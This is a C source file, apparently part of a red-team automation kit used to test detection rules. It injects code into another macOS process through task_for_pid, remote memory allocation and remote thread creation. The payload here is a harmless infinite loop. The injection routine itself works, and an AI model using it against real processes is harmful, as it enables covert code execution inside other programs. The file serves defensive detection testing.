Files
sigma-rules/rta/src/thread_injector_intel.c
T
2023-03-24 16:53:37 -04:00

161 lines
4.9 KiB
C

#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#include <mach/mach_vm.h>
#define STACK_SIZE 65536
#define CODE_SIZE 128
/* This shellcode is just an infinite loop */
char injectedCode[] =
"\x90"
"\x90"
"\xeb\xfe"
"\x90"
"\x90"
"\x90";
int inject(pid_t pid)
{
task_t remoteTask;
mach_error_t kr = 0;
/**
* Second - the critical part - we need task_for_pid in order to get the task port of the target
* pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're
* #$%#$%.
*/
kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n", pid, mach_error_string(kr));
return (-1);
}
mach_vm_address_t remoteStack64 = (vm_address_t)NULL;
mach_vm_address_t remoteCode64 = (vm_address_t)NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else {
fprintf(stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
/**
* Then we allocate the memory for the thread
*/
remoteCode64 = (vm_address_t)NULL;
kr = mach_vm_allocate(remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
/**
* Write the (now patched) code
*/
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t)injectedCode, // Source
sizeof(injectedCode)); // Length of the source
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
/*
* Mark code as executable - This also requires a workaround on iOS, btw.
*/
kr = vm_protect(remoteTask, remoteCode64, sizeof(injectedCode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
/*
* Mark stack as writable - not really necessary
*/
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr));
return (-4);
}
/*
* Create thread - This is obviously hardware specific.
*/
x86_thread_state64_t remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char *p = (const char *)remoteCode64;
remoteThreadState64.__rip = (u_int64_t)(vm_address_t)remoteCode64;
// set remote Stack Pointer
remoteThreadState64.__rsp = (u_int64_t)remoteStack64;
remoteThreadState64.__rbp = (u_int64_t)remoteStack64;
printf("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p);
/*
* create thread and launch it in one go
*/
kr = thread_create_running(remoteTask, x86_THREAD_STATE64,
(thread_state_t)&remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread);
//kr = thread_create(remoteTask, &remoteThread);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to create remote thread: error %s", mach_error_string(kr));
return (-3);
}
// Wait for mach thread to finish
/* mach_msg_type_number_t thread_state_count = x86_THREAD_STATE64_COUNT;
for (;;) {
kr = thread_get_state(remoteThread, x86_THREAD_STATE64, (thread_state_t)&remoteThreadState64, &thread_state_count);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Error getting stub thread state: error %s", mach_error_string(kr));
break;
}
if (remoteThreadState64.__rax == 0xD13) {
printf("Stub thread finished\n");
kr = thread_terminate(remoteThread);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Error terminating stub thread: error %s", mach_error_string(kr));
}
break;
}
}*/
sleep(5);
return 0;
}
int main(int argc, const char *argv[])
{
if (argc < 2) {
fprintf(stderr, "Usage: %s _pid_ \n", argv[0]);
exit(0);
}
pid_t pid = atoi(argv[1]);
inject(pid);
}